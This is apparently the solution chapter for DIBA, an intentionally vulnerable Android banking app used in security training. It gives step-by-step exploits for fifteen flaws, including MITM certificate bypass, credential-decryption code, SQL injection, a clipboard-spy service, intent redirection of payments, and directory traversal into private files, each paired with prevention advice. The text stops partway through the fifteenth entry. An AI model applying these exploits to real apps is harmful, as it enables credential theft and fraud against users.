Solution Chapter for DIBA

Olivier Favre and Gregory Banfi

September 15, 2020

Introduction

In this document we describe how each vulnerability works and how it can be exploited. Each section describes one vulnerability. They are structured into five parts, each one describes an aspect of the vulnerability. Those parts are the following:

Basic Information describes where the vulnerability is located within the app, gives you an overview of the potential attacker(s), who the target is when exploiting this vulnerability and which assets are under attack. Additionally we mention what hints can lead an attacker to discover this vulnerability in the first place.

Vulnerability describes the kind of weakness and the underlying problem in the context of the application.

How Could This Happen describes in what scenario this vulnerability could emerge and sometimes gives an example where this has happened in a production environment before. It also lets the reader know how likely it is to encounter such a vulnerability in a real app.

Exploitation Instruction shows a step by step instruction on how to exploit the vulnerability.

Exploit Prevention gives you a high level and sometimes concrete explanation on how to fix this kind of vulnerability.

0.1 Role of attackers and their motives

Apps are exposed to various actors. These include intended and unintended actions by user as well as other applications. The result is a sometimes hard to understand attack surface. To make it easier to comprehend this, we categorize the different actors into four groups.

Device Owner Every sold mobile phone usually only has one owner.

In the context of this application the device owner is the one who installed the app and uses it by default. Since he already knows his own data the main reason why the device owner can turn into an attacker is to exploit a vulnerability that benefits his accounts bottom line while damaging the bank or other bank customers.

Device Holder The human user who controls the device at a specific moment is the device holder. Under normal circumstances, the device owner is also the device holder, but it is quite possible that a family member, a friend or a stranger has access to the device. This can be done in various ways, such as by simple asking for the device, exposition in exhibits at a trade fair or by targeted fraud. The device holder follows various motives which are similar to those of the device owner. Apart from the scenarios discussed for the device owner the device holder can also be interested in the data and payment information of the device owner.

Third Party App In addition to the banking app, various other applications from third-party providers are installed on the mobile phone. A malicious app that is masked as a benign app in the first place (e.g. a game) can also contain code aimed at exploiting other apps. Malicious apps are usually designed for local vulnerabilities and exploit architectural bugs to access features of the app being attacked.

Remote Attacker A remote attacker is not present on the device in any form. He acts from afar, trying to get information and other goods without leaving any traces.

Vulnerability 1: Certificate Check Security

Network communication is an essential part of many mobile applications. There are multiple difficulty levels in the meta settings of the app to be chosen from to showcase multiple levels of network-security in Android applications.

Basic Information

- Activity: Affects many screens
- Attacker:
  - Levels 1, 2, and 3: Remote attacker
  - Level 4: Remote attacker with the DIBA server certificate
  - Level 5: Remote attacker with the DICA CA certificate
- Target: Bank or bank customers
- Asset under attack: Everything on the banks server

- Potential hints: Hints in the source code, decompilation necessary
- Rating: from easy to hard depending on the level chosen.

Vulnerability

Level 1 has an empty Trust Manager and therefore accepts any certificate. Level 2 checks just the time validity of the certificate and that the organization value matches the expected string, "DIBA Server". Level 3 uses the default Trust Manager and the default Android truststore. Therefore a device holder can enter new CAs or has access to a default certificate. Level 4 pins the DIBA CA certificate and is therefore attackable with a certificate signed by this CA. Level 5 pins the DIBA Server certificate and is thus attackable from anyone with that certificate.

How Could This Happen

Level 1 It is common to prevent certificate checks during development and debugging because it speeds up development. Another explanation is that the certificate is not yet present. The developers then forgot to enable the check for the release version.

Level 2

Level 3 This approach is a normal way to implement a secure connection, if you want to communicate with any host (that is trusted by the Android OS itself). But this app should only communicate with one specific host (the DIBA Server). This can easily be overseen by developers.

Level 4 The developer probably didn't understand the security implications of pinning a root CA and the resulting exploits. Maybe this was also intentional as pinning the root CA can be a valid option, just not for this app.

Level 5 This is a constructed example. It was implemented to visualize that a certificate alone is not enough to be sure about the identity of a communication partner.

Exploitation instructions

The goal here is to intercept the network traffic between client (app) and server. There are a number of ways how to achieve this goal. The main component you need to have for exploitation is a proxy, which lets you intercept both insecure and secure network traffic. The configuration of said proxy depends highly on the proxy you choose to use (we recommend mitmproxy or burp) and the network setup (Virtualization vs Physical device, VmWare vs Virtual Box etc.). For this chapter we therefore only give you some guidelines to achieve traffic

interception and not a step for step guide. If you are still lost you can follow this online guide: **https://v0x.nl/articles/bypass-ssl-pinning-android/**
Level 1

1. Start up the proxy of your choice
2. Redirect all traffic from your Android Device to said proxy, either via WiFi Settings, globally with the following command:

```
adb shell settings put global http_proxy <IP
    >:<PORT>
```

   Annother option is to use iptables and run your proxy in transparent mode.

Levels 2 and 3

1. Get the root certificate of your proxy
2. Transfer it to your Android Device
3. Install the certificate on your device under Settings ⇒ Security ⇒ Install from SD Card

Level 4

- Configure your proxy to respond to every request from the app with the DIBA Server certificate

Level 5

1. Sign a certificate with the DIBA CA

```
openssl x509 -req -in DIBA_Server.csr -CA
    DIBA_CA.pem -CAkey DIBA_CA.key -
    CAcreateserial -out DIBA_Server.crt -days
     5110 -sha256
```

2. Configure your proxy to respond with the new certificate
3. Your proxy should now be able to intercept the communication

Exploit Prevention

Using a minimum API level of 24 will allow an easier and more secure configuration of the network communication. It allows configuring the whole communication security in the manifest. Additionally it allows implementing a different behaviour if the debug flag is set. Another important change is the separation of the system and the user truststore. This gives more security. The highest security is provided when certificate pinning and a hostname verifier is used.

Vulnerability 2: Investments VIP Code

To make more money and to add to the exclusivity of the app the developers decided to hide some of the apps functionality behind a pay to access service, further referred to as the paywall. All investment functions were put behind this paywall. In order for a user to gain access to the restricted area he has to pay for the VIP package on the paywall screen or enter the access code if they got one via email.

Basic Information

- Activitity: Investment Paywall
- Attacker: Device Owner
- Target: Bank
- Asset under attack: Bank Money / Privileges
- Potential hints: No web traffic needed to check for VIP
- Rating: medium

Vulnerability

The business logic of checking if a user has the permission to pass the paywall is executed locally on the app, which is the underlying cause of the vulnerability. The VIP access code to check against is stored on the device and not on the server. Additionally the same code is used for every user, so once a user pays for it, he can also share it with other users. Any person who notices this can exploit the vulnerability and potentially harm DIBA financially.

How Could This Happen

Many developers are not aware how easy it is to decompile an application. The amount of time and expertise needed to perform such a decompilation is trivial yet developers still store sensitive information in the source code of the app itself. The implementer of this paywall was naively unaware of the dangers of decompilation, root access rights or the internet in general. The key, if once shared could be used by anyone.

Exploitation Instruction

1. Decompile apk using Jadx and analyse code: File ⇒ Open File ⇒ DIBA.apk
2. The paywall uses "vip" a lot, search in project for *vip* and/or *Vip*
3. Find ActivityAuthInvestWall

4. Go to method **onVipCheck()**
5. Notice direct string comparison in second block of code and the ID of the string used
6. Search for said string id within Jadx and see entry in R.class, where it corresponds with the string "wall_vip"
7. Search for said string in the resource files generated by the apktool (It should be in the following file: **res/values/strings.xml)**
8. Find the Vip access code to be: **42IsTheAnswer**

Exploit Prevention

Each user should get a unique VIP code assigned to them when they decide to buy the package. Also all information regarding the paywall should be stored on the server including the access code.

Vulnerability 3: Remember Me

To make the app a lot smoother to use there is a function in the app which lets it remember the login data of the last user. When this option is set the email and password are stored in a file within the application data. For good measure the data is not stored in plain text, but encrypted before storage.

Basic Information

- Activity: Login Activity
- Attacker: Device Holder
- Target: Device Owner
- Asset under attack: Login Credentials
- Potential hints: There is no user prompt for a password or fingerprint upon using the remember-me function
- Rating: medium

Vulnerability

Although the credentials are not stored in plain text, the encryption algorithm is using password based encryption with a password stored in the applications source code. Additionally, once the credentials are stored they are never deleted again from the file, only overwritten upon a different login. A device holder who manages to get access to this file and the password from the decompiled source code can login as a different user, even when the user unchecks the remember-me checkbox.

How Could This Happen

Storing credentials on an Android device is not that easy by default. Even when using the Accountmanager-Service from Android the password will be stored in plain text on the device. This leads to developer having to encrypt passwords themselves. When the developer knows what he is doing, this is perfectly fine. However in this case the developer was not experienced enough to know what actually would be a secure solution. Also the developers clearly missed that anything stored in the code can be seen with relative little effort by anyone, just as we have previously demonstrated when exploiting Vulnerability 2. The likelihood of encountering this or a similar exploit in a production app is declining with the introduction of non-password based mobile authentication (fingerprint readers, facial recognition), yet still is part of legacy apps and apps targeting older API-levels.

Exploitation Instruction

1. Decompile apk using Jadx and analyse code: File ⇒ Open File ⇒ DIBA.apk
2. Find the login Activity and notice the RememberMe class with its encrypt and decrypt functionality
3. See in the code that the password & email get stored in a shared preferences file
4. Access the file. You can find it at the following path **/data/-data/ch.zhaw.securitylab.DIBA/shared_prefs/loginPreferences.xml** using one of these options:
   - With ADB: Run as pid of DIBA, copy the file to the PC or SD-Card
   - With Root: Copy the file to the PC or SD-Card
   - With Directory Traversal (see Vulnerability 10): Save the file and store it on the SD-Card
5. Use jadx to save the sourcecode of the app back to a reachable place
6. Copy the RememberMe class to a java project of your own
7. Create simple functionality that lets you input an encrypted file/string and output the decrypted file/string, see Listing 0.1 for reference

```
public class Main {

public static void main(String[] args) {
```

```
        // The Strings are copied from the
            loginPreferences.xml file and represent the
            email and pw in Base64 encoding
        String email = "..." ; // email as base64 encoded
             string
        String pw = "..."; // password as base64 encoded
            string

        // Just print the decrypted Base64 Stings to the
            log
        System.out.println(RememberMe.decrypt("Email: " +
             email));
        System.out.println(RememberMe.decrypt("Password:
            " + pw));
        }
}

class RememberMe {
        private static final String REMEMBER_ME = "
            rememberMe";

        private static String convert(String str, int i)
            {
                Cipher cipher = getCipher(i, getSecretKey
                    ());
                byte[] bytes = str.getBytes();
                if (i == 2) {
                        bytes = Base64.getDecoder().
                            decode(str);
                }
                try {
                        byte[] doFinal = cipher.doFinal(
                            bytes);
                        return i == 1 ? Base64.getEncoder
                            ().encodeToString(doFinal) :
                            new String(doFinal);
                } catch (Throwable e) {
                        throw new RuntimeException(e);
                }
        }

        public static String decrypt(String str) {
                return convert(str, 2);
        }

        public static String encrypt(String str) {
```

```
                return convert(str, 1);
        }

        private static Cipher getCipher(int i, SecretKey
            secretKey) {
                String str = "AES/CBC/PKCS5Padding";
                AlgorithmParameterSpec ivParameterSpec =
                    new IvParameterSpec("1234567890abcdef"
                    .getBytes());
                try {
                        Cipher instance = Cipher.
                            getInstance(str);
                        instance.init(i, secretKey,
                            ivParameterSpec);
                        return instance;
                } catch (Throwable e) {
                        throw new RuntimeException(e);
                }
        }

        private static SecretKey getSecretKey() {
                String str = "PBEWithSHA256And256BitAES-
                    CBC-BC";
                try {
                        return new SecretKeySpec(
                            SecretKeyFactory.getInstance(
                            str).generateSecret(new
                            PBEKeySpec(REMEMBER_ME.
                            toCharArray(), "
                            abababababababababab".
                            getBytes(), 1000, 256)).
                            getEncoded(), "AES");
                } catch (Throwable e) {
                        throw new RuntimeException(e);
                }
        }
}
```

Exploit Prevention

A general advice is to not store user credentials locally yourself unless absolutely necessary. There is always some risk that the credentials get stolen or compromised. However there are several ways to make this procedure more secure:

1. If the device has the ability to authenticate using facial recognition or

fingerprint scanning it can be used as a more secure way to log a user in for the app as well. This shifts the responsibility of the secure login function from the app developer to the device creator.

2. Store the key in a c++ files using the Java Native Interface. While this is not completely secure, it makes the decompilation of the file and thus retrieval of the key much harder for anyone. The file which is created by the jni is hardly decompilable. This increases the security by a small margin, but is still not advised to use for actual credential storage.

Vulnerability 4: SQL Injection

To communicate with the DIBA server the users have the option to send messages directly to the bank and receive updates on their investments or payments. To enhance the messaging experience the users have the option to search/filter for keywords and only show messages containing their search words.

Basic Information

- Activity: Messages
- Attacker: Device Holder
- Target: Other device users or system
- Asset under attack: Possibly critical information
- Potential hints: Search field
- Rating: easy

Vulnerability

The search field is vulnerable to an SQL injection attack. With prior knowledge on how to carry out an SQL injection attack and the Database Management System (DBMS) used, the search field can be successfully probed for this vulnerability. The DBMS implementation can best be found out by making an informed guess.

How Could This Happen

Upon fetching the messages from the server they are cached locally on the phone. This eases network traffic, but makes those messages accessible to the application. When switching between multiple user, the messages are not deleted. SQL injections are still a major cause of concern. In this case the developer was not aware how to properly use the API provided by the underlying SQLite-Database. The developer made the mistake of using String-Concatenations to

construct the SQL-Queries as seen in listing 0.1. The specific mistake here was to not make use of the selectionArgs properly.

```
"message LIKE '%" + searchTerm + "%' AND user = '" +
    username + "'" String[] selectionArgs = {};
Cursor cursor = db.query(false, TABLE_NAME, COLUMNS,
    selection, selectionArgs, GROUP_BY, HAVING, ORDER_BY,
    LIMIT);
```

Exploitation Instruction

1. Optional preparation:
   - Let another user login on your app
   - Use someone else phone to log into DIBA
2. Go to the message screen
3. Enter '– ' into the search bar. You need a space after the second - sign.
4. All messages should be displayed on the screen

```
String selection = "message LIKE ? AND user = ?"; String
    [] selectionArgs = {"%" + searchTerm + "%", username};
Cursor cursor = db.query(false, TABLE_NAME, COLUMNS,
    selection, selectionArgs , GROUP_BY, HAVING, ORDER_BY,
     LIMIT);
```

Exploit Prevention

The class used for communicating with the database offers a function to build SQL-Queries with prepared statements. When this is used correctly, the inserted values can't change the query structure like terminating or altering the execution of certain query parts. The query contains "?" as placeholders for values. The whole statements gets compiled by the database itself. In listing 0.1 we can see an example of a correctly executed prepared statement. The selection query gets precompiled by the database and the values to be inserted (selectionArgs) are put in place afterwards. This way any attacks altering the structure of the query can be prevented.

Vulnerability 5: Clipboard Danger

Payslips are the primary way for people to manage and process payments. This functionality has therefore been included in the app, although the implementation has some limitations. Users can load a payslip that is sent by email (and is

stored on their SD-Card) and copy and paste the data over from the payslip to the input fields. This implementation is not very user friendly, but can highlight a number of vulnerabilities that arise from it.

Basic Information

- Activity: Make a payment
- Attacker: Third party app
- Target: Device owner / holder
- Asset under attack: Payment information
- Potential hints: study of app behaviour upon usage of the feature
- Rating: easy/medium

Vulnerability

The clipboard on Android devices is public, which means that every app can request access to what is being saved to the clipboard. Since the app does not provide its own private clipboard instance, nor does it provide an automatic way to fill in the fields from a given payslip, the users are forced to use the (public) clipboard function.

How Could This Happen

This vulnerability is not caused by application itself, but a lack of understanding of how the clipboard functionality in Android works. So while the apps developers did not much wrong within their code, the design choice of the payslip feature doesn't put a lot of emphasis on user safety. The developers were likely in a hurry to bring out this feature, otherwise an automatic fill in would have been feasible. The minimalistic approach to developing the feature is what made it insecure.

Exploitation Instruction

1. Observe Customer behaviour
    - Open the Load Payslip screen: Login ⇒ Payments ⇒ Load Payslip
    - Click on Load Sample
    - Click on Transfer Payslip
    - Copy and Paste the values into the amount and recipient fields.
2. Build an app that logs all new entries on the public Clipboard

- Implement a service that logs the new clipboard messages, the code can be found in listing 0.1
- Implement an activity that uses the service, the code to connect the service with your Activity can be found in listing 0.1

Exploit Prevention

To prevent users from copying data to the clipboard the developers should implement an easier way to copy the information from a payslip. One way to do this is a automatic copy-and-paste feature that reads the necessary fields from the payslip and copies them into the corresponding fields within the app. Another way to secure the copy-and-paste process is to implement your own private clipboard to which other apps don't have access to.

```
public class ServiceClipboardSpy extends Service
    implements OnPrimaryClipChangedListener {

        // Binder given to clients
        private final IBinder mBinder = new LocalBinder()
            ;
        private ClipboardManager clipboard;

        private static final ArrayList<String>
            CLIPBOARD_LOG = new ArrayList<>();

        public List<String> getLog() {
                return CLIPBOARD_LOG;
        }

        @Override
        public void onCreate() {
                super.onCreate();
                clipboard = (ClipboardManager)
                    getSystemService(CLIPBOARD_SERVICE);
                if (clipboard == null) return;
                clipboard.addPrimaryClipChangedListener(
                    this);
        }

        @Override
        public void onPrimaryClipChanged() {
                CLIPBOARD_LOG.add(clipboard.
                    getPrimaryClip().toString());
        }

        public class LocalBinder extends Binder {
```

```
                ServiceClipboardSpy getService() {
                        return ServiceClipboardSpy.this;
                }
        }

        @Override
        public IBinder onBind(Intent intent) {
                return mBinder;
        }

        @Override
        public int onStartCommand(Intent intent, int
            flags, int startId) {
                return super.onStartCommand(intent, flags
                    , startId);
        }
}
```

```
private ServiceConnection mConnection = new
    ServiceConnection() {

        @Override
        public void onServiceConnected(ComponentName
            className, IBinder localService) {
                // We've bound to LocalService, cast the
                    IBinder and get LocalService instance
                LocalBinder binder = (LocalBinder)
                    localService;
                service = binder.getService();
                bound = true;
        }

        @Override
        public void onServiceDisconnected(ComponentName
            arg0) {
                bound = false;
        }
};
```

Vulnerability 6: Exported Content Provider

Content Providers are one of three ways to control access to resources in Android. Since multiple screens and therefore multiple developers would like to

access the app settings, the app developers have chosen to wrap a Content Provider around the settings database.

Basic Information

- Activity: None
- Attacker: Third party app
- Target: Device Holder
- Asset under attack: Settings / Various
- Potential hints: The low target API level
- Rating: medium

Vulnerability

Content Providers are exported by default when using target API level 16 and lower. In these cases every third party app can access the Content Provider. Since the Content Provider in this app exposes the apps settings, this means an attacker can access and change them by installing his own app on the device under attack.

How Could This Happen

The developer was not aware of the security impact when targeting a low API level. This may be because the documentation of differences between various API levels is not very thorough.

Exploitation Instruction

1. Find the Content Provider in the apps AndroidManifest.xml
2. See that the API level is 16 and no export flag is specified for the Content Provider
3. Decompile the app and see which fields the provider hosts
4. Create your own app that changes the settings with the help of the provider settings, as can be seen in listing 0.1

```
String defaultPackage = "ch.zhaw.securitylab.dibaexploit"
    ;
String defaultClass = "ch.zhaw.securitylab.dibaexploit.
    PayInterceptor";
int defaultAutoUpdate = 0;
```

```
String providerName = "ch.zhaw.securitylab.DIBA.settings"
    ;
String url = "content://" + providerName + "/setting";
Uri contentUri = Uri.parse(url);

// Settings DB
ContentValues values = new ContentValues();
values.put("package", defaultPackage);
values.put("class", defaultClass);
values.put("autoupdate", defaultAutoUpdate);

int rows = getContentResolver().update(contentUri, values
    , "_id=1", null);
```

Exploit Prevention

The easiest way to prevent such a mistake is to explicitly define all export flags, regardless whether the value is true or false. This heightens the awareness of the developer to make a conscious choice whether or not to export a component. Additionally, the API levels should be set as high as possible.

Vulnerability 7: Intent Redirection

This vulnerability concerns the transition from Make-A-Payment to the Accept-The-Payment screen. After pressing the send button in the Make-A-Payment activity, a user will be redirected to the payment acceptance activity.

Basic Information

- Activity: Make a Payment
- Attacker: Third party app
- Target: Device Holder
- Asset under attack: Users money
- Potential hints: Class and package names are visible in settings
- Rating: hard

Vulnerability

This is a chain of vulnerabilities which leads to one exploit. First, the app is operating on a target API level of 16 in order to make it accessible to older versions of Android. As we have seen in Vulnerability 6, at this API level

Content Provider are exported by default. An attacker is therefore able to manipulate the settings. The second part is related to the intent creation in the Make-A-Payment screen. It specifies the package name which is the unique identifier of the app and the class name which is the fully qualified name of the Activity. Thirdly the package and class values are stored in a settings content provider. This way the developer can quickly change the redirection from one screen to the next, but opens up the redirection of this intent to a third party app. This unfortunate chain of vulnerabilities makes it possible for any other app on the system to change the goal of the intent the app is sending. With careful construction, an intent can be intercepted and the payment amount changed.

How Could This Happen

In the development process one of the developers thought it would be great to be able to switch targets of an intent during runtime. This way one could experiment with different styles of the payment accept screen without recompiling the Activity over and over again. This measure saves the developers some time. After one style has been chosen, this functionality hasn't been removed. It is rather unlikely that all these vulnerabilities together will be exploited. The individual parts of this exploit chain though are more likely to be found and all pose a security threat in themselves.

Exploitation Instruction

1. Change the intent target
    - Go to the settings screen and change the target manually to a different app
    - Use the Default Exported Content Provider exploit seen in vulnerability 6 with the code in listing 0.1 to change the setting
2. Construct an activity in your exploit app that sets or analyses the intent extras to your liking. Check listing 0.1 for an example.
    - Make sure the same colour scheme is used, so a user won't notice
    - Make sure the exploit app is loaded, otherwise there will be a noticeable delay
3. Open the Accept Payment activity immediately after the manipulation
4. Make sure to clean up the call history, so the user never sees the empty activity in the exploit app

```
@Override protected void onCreate(Bundle
    savedInstanceState) {
        super.onCreate(savedInstanceState);
```

```
        setContentView(R.layout.activity_pay_intercepter)
            ;

        Intent intent = getIntent();

        intent.putExtra("auth_pay_amount_sfr", "1000");
        intent.putExtra("auth_pay_target", "attacker@mail
            .com");

        String packageName = "ch.zhaw.securitylab.DIBA";
        String className = "ch.zhaw.securitylab.DIBA.
            activity.pay.ActivityAuthPayAccept";
        intent.setClassName(packageName, className );
        startActivity(intent);
}
```

Exploit Prevention

First and foremost, always make sure to evaluate each Content Provider carefully and set the export flag to false in any case where it is not necessary and secure to expose the functionality to everybody. Secondly, it is good practice to only call other activities in your app with the standard **new Intent(context, SomeActivity.class);** constructor. This way, there is no way anyone else can fetch or redirect this intent. Furthermore it is crucial to clean up an application before it is deployed to production. All the code that is only there to make your life as a developer easier, but could pose a security risk in production, should be taken out.

Vulnerability 8: Logging Sensitive Information

During development it is often useful to log certain information for better debugging or control flow analysis. Android supplies a logger which is very accessible and rich in features. This app therefore also uses logging in various places.

Basic Information

- Activity: Most activities, but especially the login activity
- Attacker: Device Owner
- Target: Device Holder
- Asset under attack: Various information
- Potential hints: Debug mode is activated
- Rating: easy

Vulnerability

The default Android logger which was used for this app is generally public. Anyone who can debug the Android system via USB has access to the application log. Therefore if USB debugging is activated on the phone every message that is logged in by the DIBA app can be read by an attacker who can read the Android systems logs.

How Could This Happen

Logging is rather convenient if not necessary for developing an app. However when finishing an app for production the developers are supposed to go through the code and remove all unnecessary logging, especially if it contains sensitive information. Although Android warns developers from logging sensitive information, this warning has been widely ignored in the past.

Exploitation Instruction

1. Connect your device with your PC.
2. Check if you can connect to your device with adb.
3. Execute command **adb logcat -s "DIBA" in a shell**
4. Attempt to login in the app. The credentials of this and all previous login attempts should now be visible in the shell.

Exploit Prevention

Don't use the Log class or ensure to remove the usage when releasing the app. To make it easier to remove the Log usages you can bind the logging to the Android Debug Flag. This way only when an app is in debug mode it will actually log all the activities.

Vulnerability 9: Exported Activity Alias

Since Android uses fully qualified names for activity identification, the string parameter to target activities can get quite long. An easy way to shorten these names is to create an alias in the manifest file and use the alias throughout your application instead of the long fully qualified name.

Basic Information

- Activity: Invest list ⇒ Manifest
- Attacker: Third party app
- Target: Device Holder

- Asset under attack: Investment data
- Potential hints: The Manifest has one alias that is exported
- Rating: easy/medium

Vulnerability

If an alias exports an activity which itself is not exported, this activity gets implicitly exported with it. Anyone who understands this behaviour can now use the implicitly exported activity by installing a third party app on the device.

How Could This Happen

The convenience of setting an alias for an activity brings problems with it. The fact that the activity is exported implicitly when exporting the alias is not well documented in the Android developer documentation and can easily be missed by developers.

Exploitation Instruction

1. Check the manifest file to find the alias for the invest activity (see listing 0.1)
2. Use adb to start the activity (see listing 0.1) or create small exploit app that runs the code shown in listing 0.1
3. You should now see the investment activity on your device with all past investments listed

```
<activity-alias android:name="ch.zhaw.securitylab.DIBA.
    SeeInvest" android:exported="true"
    android:targetActivity="ch.zhaw.securitylab.DIBA.
    activity.invest.ActivityAuthInvestList"/>
```

```
adb shell am start -n ch.zhaw.securitylab.DIBA/.SeeInvest
```

```
Intent intent = new Intent();
String packageName = "ch.zhaw.securitylab.DIBA";
String className = "ch.zhaw.securitylab.DIBA.SeeInvest";
intent.setClassName (packageName, className);
startActivity(intent);
```

Exploit Prevention

Be extremely careful with exports in general, whether it is activities, content providers or services. Always keep in mind that when you export an activity, it can be opened by third party apps as well.

Vulnerability 10: Directory Traversal I - Read

The bank wants to support all kind of users, even those that handle their payments primarily with payslips. Loading a payslip from the SD-Card makes it possible for these users to save a payslip onto their device and then simply enter a file path and load the payslip from anywhere on the SD-Card.

Basic Information

- Activity: Payslip
- Attacker: Device Holder
- Target: Bank app
- Asset under attack: Data of the banking app and its local users
- Potential hints: Usage of a plain string to load a file
- Rating: easy

Vulnerability

Due to the fact that the payslip file is loaded by entering a string, it is vulnerable to a directory traversal attack. The app never validates the file path entered by the user, therefore a user can enter the path of any file the app has access to.

How Could This Happen

Missing input validation is usually the result of poor judgement or missing knowledge. String based locations, i.e. using the path directly, is the easiest approach a developer can take. Here the problem more likely lies in the complexity of a proper file loading implementation. With a lack of time and resources, a straight forward implementation was chosen, disregarding its security implications.

Exploitation Instruction

1. Get an hold of someone else's phone
2. Open the DIBA app
3. Open the login screen

4. Uncheck the Remember-Me check box
5. Enter your login credentials and complete login
6. Open Payments ⇒ Load Payslip
7. Enter **../../../../../data/data/ch.zhaw.securitylab.DIBA /shared_prefs/loginPreferences.xml** in the Load from SD-Card field and load it
8. Enter a filename and save it
9. Remove the SD-Card from the device or connect the phone to a computer
10. Open the file on the SD-Card
11. Decode the name and password from the file using the exploit of Vulnerability 3: Hardcoding II - Remember Me

Exploit Prevention

While there are file access APIs available by third parties, Android doesn't provide a default file browser to this date that would let the app developers allow easy file loading without relying on the actual file names. A secure and non-string based implementation is not an easy task. For path validation one has to make sure that the path starts with **getExternalCacheDir()**. If this is not the case, the user is trying to access a file that he is not supposed to and should be prohibited to do so.

Vulnerability 11: Directory Traversal II - Read-/Write

Users should not only be able to read payslips, but also create their own that can be saved and sent to friends or business partners. The sample payslip can be used as a template. It can be modified and saved on the SD-Card. In a future update these payslips could even be automatically loaded into the app.

Basic Information

- Activity: Payslip
- Attacker: Device Holder
- Target: Bank app / Device Owner
- Asset under attack: Data of the banking app
- Potential hints: Usage of a plain string to save a file
- Rating: easy

Vulnerability

The Load-A-Payslip activity offers the functionality of loading a file, altering its contents and saving it again. In combination with the Directory Traversal Vulnerability that we already discussed, it is possible to write arbitrary content to any file the app has access to. This includes important configuration files that can alter the business logic of the app.

How Could This Happen

The same way as we have already discussed in Vulnerability 11.

Exploitation Instruction

1. Login to the app as a user
2. Open Payments ⇒ Load Payslip
3. Load the default shared preferences by entering the following string: **../../../../../data/data/ch.zhaw.securitylab.DIBA/shared_prefs/ch.zhaw.securitylab.DIBA_preferences.xml**
4. Add the key VIP with the value true
5. Save it again using the same string as in step 3
6. You are now VIP without paying a fee

Exploit Prevention

See Exploit Prevention for Vulnerability 11.

Vulnerability 12: Directory Traversal III - Read-/Write

This vulnerability is similar to Vulnerability 11, but can be abused in a different manner.

Basic Information

- Activity: Payslip
- Attacker: Device Holder
- Target: Bank app / Device Owner
- Asset under attack: Data of the device owner
- Potential hints: Offering a save file to SD-Card feature
- Rating: easy

Vulnerability

The Load-A-Payslip activity offers the functionality of loading a file, altering its contents and saving it again. In combination with the Directory Traversal vulnerabilities that we already discussed, it is possible to transfer a file from the secure app area to the SD-Card. This opens up an easy way to copy all files of the private area only the app has access to.

How Could This Happen

The developer forgot to put some minimal path validation in place.

Exploitation Instruction

1. Login to the app as a user
2. Open Payments ⇒ Load Payslip
3. Load any file from the app, like shared preferences or even source code files.
   Example: **../../../../../data/data/ch.zhaw.securitylab.DIBA /shared_prefs/loginPreferences.xml**
4. Enter a name in the Save to SD-Card field and save it
5. Open the saved file on your PC and analyse it further.
6. Repeat with all other files

Exploit Prevention

If it is really necessary to save the payslip, it should be done so in the private storage area of the app. Alternatively the payslip could have been shared with a broadcast action instead of saving it to the SD-Card.

Vulnerability 13: Weak Report Encryption

On the main screen there is a button to send a bug report. This helps to capture problems with the application early.

Basic Information

- Activity: Main Auth Activity
- Attacker: Device Holder
- Target: Device Owner / Holders
- Asset under attack: User information

- Potential hints: None
- Rating: hard

Vulnerability

The button generates a bug report that contains private data of the user, such as payment and investment information. Therefore the report is encrypted by the app. This encryption however is not very strong. As a basis a vigenere cipher [1] is used. The whole report package is obfuscated using ProGuard [2] in order to make the weak encryption hard to find out.

How Could This Happen

This is a very artificial example, since most developers won't implement their own (outdated) crypto. It is therefore not very likely to happen in a actual app.

Exploitation Instruction

1. Go to the main authenticated screen
2. Press the bug button on the top right
3. Fetch the file called **DIBA_Report.txt** from the SD-Card
4. Potential hints that a alphabetical cipher was used can be that non-alphabetical chars are positioned in a way that doesn't seem random (opening and closing brackets)
5. Use an online decrypter for Vigenere cipher?
6. Decompile app, analyse the obfuscated code in class InCipher (obfuscated in package a class a) and realize it is a vigenere cipher
7. Follow the string ID used to construct the InCipher object in the Report-Collector class (obfuscated in package a class b as **R.string.alphabet**) to the string resources and figure out its a lower case alphabet
8. Use engineering skills to craft a decrypter for this vigenere cipher, see listing **??**
9. Use the **/key**-Path of the REST API to get some keys that are used to encrypt the report
10. Notice that the key is always the same
11. Use this key and self written decrypter to decrypt the **DIBAReport.txt** file

[1] https://en.wikipedia.org/wiki/Vigen%C3%A8re_cipher
[2] https://www.guardsquare.com/en/products/proguard

12. Retrieve all payments, messages and investments of everyone using the app

Exploit Prevention

This encryption entirely relies on obfuscation to hide how it works. Instead of implementing your own crypto, you should always use existing crypto libraries. Also you should never use the same key twice when encrypting stuff.

Vulnerability 14: JWT Validity

When a user logs in to the app, the server sends a JSON web token (jwt) to the client in order to identify the user. This token is used whenever the app sends a request to the server. It is not tied to one device however, which means anyone who can retrieve a jwt can send authenticated requests to the server.

Basic Information

- Activity: Login
- Attacker: Device Holder
- Target: Server
- Asset under attack: Session information
- Potential hints: The client doesn't check validity of token
- Rating: easy

Vulnerability

As soon as a login request was sent to the server, a jwt is sent back to the client in a Base64 encoded string format which any attacker can easily decode[3]. Furthermore the token lacks an expiration date and doesn't get reset upon logout. This opens up the possibility of a replay attack.

How Could This Happen

Vulnerabilities like this usually happen due to a lack of understanding how a secure login process should be implemented.

[3]See https://jwt.io/ for an easy way to decode a JWT

Exploitation Instruction

1. Use the instructions of Vulnerability 1 to intercept the requests send to and from the server
2. Capture a login attempt by a user, you should now have a valid jwt
3. Make a login attempt and intercept the servers response
4. Change the response from the server so that it includes a jwt of a different user (or the default user)

Note: There is a default user that always has a valid jwt. For testing purposes you can use that one, see listing 0.1

```
HTTP/1.1 200 OK
Connection: close
Date: Thu, 05 Apr 2018 08:39:44 GMT
Server : Javalin
Content-Type: text/plain;charset=utf-8
Content-Length : 124

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpc3MiOiJJbkJhbmsiLCJ1c2VyIjoiaEBja2VyIn0.
rkN8oM7F57tl4InYboa_jdEk69cmWpLSRQ98aaPW_D0
```

Exploit Prevention

The token should have a rather short life span and be revoked after the user has logged out of his account. As the jwt library does not allow the revocation of a token, the server itself has to handle this. Furthermore the client needs to check the validity of the jwt it receives.

Vulnerability 15: Recently Used Apps

In some apps, for example a banking app, sensitive data is visible on the screen. Android provides methods which disables the ability to take screenshots of the screen. In Android, the recently used apps screen shows screenshots of the apps, but will not display screens when this method is used.

Basic Information

- Activity: Accept the Payment, Messages and List of your Payments
- Attacker: Device Holder
- Target: Previous Device Holder

- Asset under attack: Data
- Potential hints: -
- Rating: easy

Vulnerability

When a user leaves the app on one of the unsecured screens, every device holder can see the content of the screen by switching to the overview view. Additionally an attacker is then able to make a screenshot of the screen and store it somewhere else. The screenshot in the recently used app stays there, even when the app changes the active screen again.

How Could This Happen

